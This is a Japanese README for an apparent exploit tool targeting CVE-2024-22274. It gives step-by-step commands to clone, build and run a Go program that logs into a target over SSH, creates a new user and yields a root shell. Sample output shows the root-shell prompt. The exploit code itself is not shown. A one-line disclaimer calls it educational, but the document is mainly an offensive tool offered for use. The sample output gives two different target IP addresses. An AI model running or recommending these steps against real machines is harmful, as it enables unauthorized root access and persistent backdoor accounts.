CVE-2024-22274 エクスプロイト

このリポジトリには、CVE-2024-22274 のエクスプロイトが含まれています。このエクスプロイトは、SSH 経由でリモートマシンに新しいユーザーを作成し、その後 root シェルを提供します。

要件

• マシンに Go (Golang) がインストールされていること。ダウンロードは こちら から行えます。
• SSH アクセスが可能なリモートマシン。

コンパイル

1. リポジトリをクローンします:

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. 必要なパッケージをインストールします:

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Go プログラムをコンパイルします:

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

使用方法

1. コンパイルしたプログラムを実行します:

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. プロンプトに従います:

   • ターゲットマシンのホストアドレスを入力します。
   • SSH ポートを入力します（デフォルトは 22）。
   • ターゲットマシンの SSH ユーザー名を入力します。
   • ターゲットマシンの SSH パスワードを入力します。
   • 作成したい新しいユーザー名を入力します。
   • 新しいユーザーの新しいパスワードを入力します。

3. ユーザーが作成されると、ターゲットマシン上で root シェルが取得できます。新しいユーザーとしてコマンドを実行できます。

例

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

免責事項 このコードは教育目的のみです。責任を持って、テストする許可を得たシステムに対してのみ使用してください。

ライセンス このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。